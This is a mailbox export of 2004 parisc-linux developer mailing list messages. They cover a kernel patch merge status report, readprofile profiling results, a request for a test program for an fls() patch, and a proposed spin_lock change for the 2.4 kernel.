X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26247 invoked by uid 65534); 14 Aug 2004 21:08:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 14 Aug 2004 23:08:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3AC293BDCA; Sat, 14 Aug 2004 15:08:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09502-05; Sat, 14 Aug 2004 15:08:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 787633BE1B; Sat, 14 Aug 2004 15:08:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6063C3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Aug 2004 15:08:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09502-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Aug 2004 15:08:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 325133BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Aug 2004 15:08:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8580E4946B6; Sat, 14 Aug 2004 15:08:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id CD47B494699
	for <parisc-linux@parisc-linux.org>;
	Sat, 14 Aug 2004 15:08:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Bw5l1-0003zJ-Im
	for parisc-linux@parisc-linux.org; Sat, 14 Aug 2004 22:08:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24893


Haven't done these in a while, so here goes:

I merged about 250k of patch to Linus right before 2.6.8 came out:

$ ls -l parisc-2.6.8*diff
-rw-r--r--    1 willy    willy      466638 Jul 27 18:54 parisc-2.6.8-rc2.diff
-rw-r--r--    1 willy    willy      484286 Aug 13 08:41 parisc-2.6.8-rc4.diff
-rw-r--r--    1 willy    willy      239078 Aug 14 11:22 parisc-2.6.8.1.diff

I just sent him another 20k:
-rw-r--r--    1 willy    willy       20698 Aug 14 14:30 sound-2.6.8.1.diff

The bulk of the patch is HIL and other input-related stuff:
-rw-r--r--    1 willy    willy      173466 Aug 14 14:43 hil-2.6.8.1.diff

Then there's the compat_siginfo patch:
-rw-r--r--    1 willy    willy       20071 Aug 14 14:56 compat-2.6.8.1.diff

The remainder:
-rw-r--r--    1 willy    willy       20803 Aug 14 14:58 one.diff
is composed of:
 - A gcc bug workaround
 - A BUG_ON() I added that never triggers
 - The console mess
 - SERIAL_IRQ_NONE
 - A couple of arch/parisc bits that got committed after I merged ;-)
 - smbfs CONFIG_UID16
 - console Kconfig changes
 - A minor sym2 change I need to send to James ;-)
 - A minor lasi700 change, ditto
 - pcmcia probing changes (James mentioning to Russell)
 - tulip MII changes that someone needs to engage jgarzik in
   bare-knuckle boxing over.
 - ns87415 IDE changes I need to investigate and send to Bart
 - an ia64 Kconfig change I should send to Tony.

So a lot of minor stuff, but it's still not possible to build parisc
out of Linus' tree ;-(

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.8.1-pa7 (some profile data)
Date: Tue, 24 Aug 2004 18:26:52 +0200
Lines: 138
Approved: news@gmane.org
Message-ID: <412135A800004CB3@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624469 25675 80.91.229.3 (22 Nov 2014 02:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10093 invoked by uid 65534); 24 Aug 2004 16:27:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 24 Aug 2004 18:27:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9074E3BDF2; Tue, 24 Aug 2004 10:27:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29171-09; Tue, 24 Aug 2004 10:27:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D008B3BDEA; Tue, 24 Aug 2004 10:27:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B708E3BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:26:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29177-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:26:55 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 897413BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:26:55 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E639549475C; Tue, 24 Aug 2004 10:26:54 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 2F6EA494733
	for <parisc-linux@parisc-linux.org>;
	Tue, 24 Aug 2004 10:26:54 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 24 Aug 2004 18:26:52 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24894

Hi pa,

I just get the model that Randolph did to get some profile data
(unfortunately, I didn't reach to obtain a 4way system for the moment :(
)

i ran 'readprofile' on a 2.6.8.1-pa7 SMP kernel (N4000, 64-bit, 2way 550M=
hz)
build with profile option and booted with profile=3D2
the results are from
readprofile | sort -rn -k3 | head -30
and the counters were refreshed between test with "readprofile -r".


1) 'make clean; make -j4 vmlinux' on a 2.6.8.1-pa7 kernel tree:
 58253 cpu_idle                                 661.9659
 16622 flush_user_dcache_range_asm              461.7222
 16455 flush_user_icache_range_asm              457.0833
 35995 flush_kernel_icache_page                 359.9500
  3372 $lctu_done                               210.7500
  9650 machine_restart                          150.7812
 16458 __clear_user_page_asm                    146.9464
  1602 $lcfu_done                               133.5000
  1520 $lctu_loop                               126.6667
 41743 established_get_first                     86.9646
  9449 copy_user_page_asm                        62.1645
  1450 flush_data_cache_local                    36.2500
  3576 purge_kernel_dcache_page                  35.7600
  2567 strncpy                                   35.6528
 21036 established_get_next                      35.5338
  3495 flush_kernel_dcache_page                  34.9500
   226 $lslen_done                               28.2500
   443 $lclu_done                                27.6875
  2041 find_vma_prev                             19.6250
  1227 memcpy                                    19.1719
   195 $lcfu_loop                                16.2500
   153 $lslen_loop                               12.7500
    77 syscall_check_resched                      9.6250
   136 $lsfu_loop                                 8.5000
   289 intr_return                                8.0278
  5730 kallsyms_lookup                            7.8709
   746 flush_user_dcache_page                     7.4600
  1388 memset                                     6.9400
  1724 find_get_page                              6.5303
   698 clear_user_page_asm                        5.8167

2) from another machine on the same subnet, scp the whole glibc tree
    as a single tar.bz2 file:
 57213 cpu_idle                                 650.1477
  9409 machine_restart                          147.0156
   323 $lcfu_done                                26.9167
   211 $lctu_done                                13.1875
  2125 established_get_first                      4.4271
   114 flush_user_dcache_range_asm                3.1667
   113 flush_user_icache_range_asm                3.1389
    36 $lctu_loop                                 3.0000
   166 strncpy                                    2.3056
  1243 established_get_next                       2.0997
    19 $lcfu_loop                                 1.5833
   288 kallsyms_lookup                            0.3956
    32 sock_poll                                  0.3636
   114 finish_task_switch                         0.2415
    23 flush_kernel_icache_page                   0.2300
    36 seq_printf                                 0.2250
   179 $$divoI                                    0.1598
     3 syscall_exit                               0.1500
     8 __umoddi3                                  0.1429
    18 kmem_cache_alloc                           0.1250
     1 syscall_check_resched                      0.1250
   110 number                                     0.1228
    19 __wake_up                                  0.1187
     5 __udivdi3                                  0.1042
    13 add_wait_queue                             0.1016
    25 fget                                       0.1008
    18 __kmalloc                                  0.0900
    16 kmem_cache_free                            0.0833
     4 sched_clock                                0.0833
    16 memset                                     0.0800

3) cp -r glibc glibc.bak; sync (the copy on a symple disk slice: no lvm,
no raid, ...)
138222 cpu_idle                                 1570.7045
 22716 machine_restart                          354.9375
   967 $lcfu_done                                80.5833
   746 $lctu_done                                46.6250
   392 $lctu_loop                                32.6667
  5602 established_get_first                     11.6708
   238 flush_user_icache_range_asm                6.6111
   223 flush_user_dcache_range_asm                6.1944
  2821 established_get_next                       4.7652
   280 strncpy                                    3.8889
    44 $lcfu_loop                                 3.6667
   108 memscan                                    1.9286
    26 $lsfu_loop                                 1.6250
    95 memcpy                                     1.4844
   294 memset                                     1.4700
     4 $lsfu_done                                 1.0000
   137 kmem_cache_alloc                           0.9514
   623 kallsyms_lookup                            0.8558
   109 kmem_cache_free                            0.5677
   194 find_get_pages_tag                         0.5389
     4 syscall_check_resched                      0.5000
   525 $$divoI                                    0.4688
    28 memcmp                                     0.4375
    69 seq_printf                                 0.4313
    18 __udivdi3                                  0.3750
   329 number                                     0.3672
     7 syscall_exit                               0.3500
   153 finish_task_switch                         0.3242
    15 strlen                                     0.3125
    38 __getblk                                   0.2969

(isn't there too much machine_restart, no clue for the moment need to stu=
dy
more ;) )

Hope this could be intereting
    Joel




-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bitops.h: fls(unsigned long )
Date: Tue, 24 Aug 2004 12:45:42 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20040824164542.GR5207@baldric.uwo.ca>
References: <412A3C74.9000903@tiscali.be>
	<412135A8000049BB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624469 25678 80.91.229.3 (22 Nov 2014 02:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24759 invoked by uid 65534); 24 Aug 2004 16:46:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 24 Aug 2004 18:46:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 955F93BDF2; Tue, 24 Aug 2004 10:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30026-07; Tue, 24 Aug 2004 10:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 663A73BDEA; Tue, 24 Aug 2004 10:46:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 650BE3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:46:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30026-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:46:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4083A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:46:20 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D238F49475C; Tue, 24 Aug 2004 10:46:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 55CA1494733
	for <parisc-linux@parisc-linux.org>;
	Tue, 24 Aug 2004 10:46:19 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BzeQZ-000383-00; Tue, 24 Aug 2004 12:45:43 -0400
Content-Disposition: inline
In-Reply-To: <412135A8000049BB@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24895

On Tue, Aug 24, 2004 at 02:51:59PM +0200, Joel Soete wrote:
> Hi all,
> 
> Sorry for this auto-reply but I just reboot with success my N4k (smp 64bit
> kernel 2.6.8.1-pa7) with this patch and all works fine :)
> 
> If Ok for everybody can somebody ci for me (no cvs access :) )?

Do you have a 32-bit test program that shows this code works?

I'm one for writing a small test to verify that the code is doing what
the specification says it should.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernels for an HP J5600
Date: Tue, 24 Aug 2004 18:58:15 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <412135A800004CED@ocpmta3.freegates.net>
References: <20040824150049.GC16318@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624470 25682 80.91.229.3 (22 Nov 2014 02:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: kyle@mcmartin.ca,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12340 invoked by uid 65534); 24 Aug 2004 16:58:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 24 Aug 2004 18:58:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 69C823BDFC; Tue, 24 Aug 2004 10:58:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30171-09; Tue, 24 Aug 2004 10:58:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9A5B3BDEA; Tue, 24 Aug 2004 10:58:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F6C53BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:58:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30171-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:58:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B644A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Aug 2004 10:58:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 120A849475D; Tue, 24 Aug 2004 10:58:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP
	id 5C11A494733; Tue, 24 Aug 2004 10:58:18 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 24 Aug 2004 18:58:15 +0200
In-Reply-To: <20040824150049.GC16318@mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24896


> On Mon, Aug 23, 2004 at 11:01:11PM -0600, Grant Grundler wrote:
> > But the same bugs jejb found still exist in 2.4 kernels.
> > Kyle McMartin is looking at back porting those fixes and could
> > probably use help with the N4K and "mb() in spinlock()" patches.
> > 
> I passed the torch to Joel for this, :)
> 
Need a bit help:
_atomic_spin_[...], _raw_spin[...] are not in 2.4, exact?

in 2.4
I meet:
#define spin_lock(x) do { \
	while (__ldcw (&(x)->lock) =3D=3D 0) \
		while ((x)->lock =3D=3D 0) ; \
} while (0)

may I suggest to replace such thing by:
static inline void spin_lock(spinlock_t *x)
{
	volatile unsigned int *a;

	mb();
	a =3D __ldcw_align(x);
	while (__ldcw(a) =3D=3D 0)
		while (*a =3D=3D 0);
	mb();
}

Thanks in advance for feedback,
    Joel



-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bitops.h: fls(unsigned long )
Date: Wed, 25 Aug 2004 08:41:03 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <41213586000050F2@ocpmta2.freegates.net>
References: <20040824172230.GA16196@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624470 25683 80.91.229.3 (22 Nov 2014 02:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25584 invoked by uid 65534); 25 Aug 2004 06:42:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 25 Aug 2004 08:42:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B92E43BDEA; Wed, 25 Aug 2004 00:42:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04711-01; Wed, 25 Aug 2004 00:42:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 530503BDF9; Wed, 25 Aug 2004 00:41:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B180F3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 00:41:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03652-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 00:41:08 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 901503BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 00:41:08 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B9C0E49475D; Wed, 25 Aug 2004 00:41:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 3C1F2494733
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Aug 2004 00:41:07 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 25 Aug 2004 08:41:03 +0200
In-Reply-To: <20040824172230.GA16196@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
